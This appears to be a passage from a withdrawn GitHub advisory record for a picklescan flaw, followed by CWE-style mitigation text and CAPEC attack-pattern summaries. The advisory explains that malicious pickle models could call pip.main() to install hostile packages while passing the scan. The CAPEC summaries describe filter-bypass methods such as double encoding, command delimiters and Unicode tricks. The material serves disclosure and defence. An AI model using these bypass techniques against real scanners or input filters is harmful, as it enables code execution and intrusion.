        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T20:05:26Z",
    "nvd_published_at": "2025-02-26T15:15:24Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.21 does not treat \u0027pip\u0027 as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.",
  "id": "GHSA-vr75-hjh9-7fr6",
  "modified": "2025-03-03T20:05:26Z",
  "published": "2025-03-03T18:31:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/78ce704227c51f070c0c5fb4b466d92c62a7aa3d"
    },
    {
      "type": "WEB",
      "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis",
  "withdrawn": "2025-03-03T20:05:26Z"
}

Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.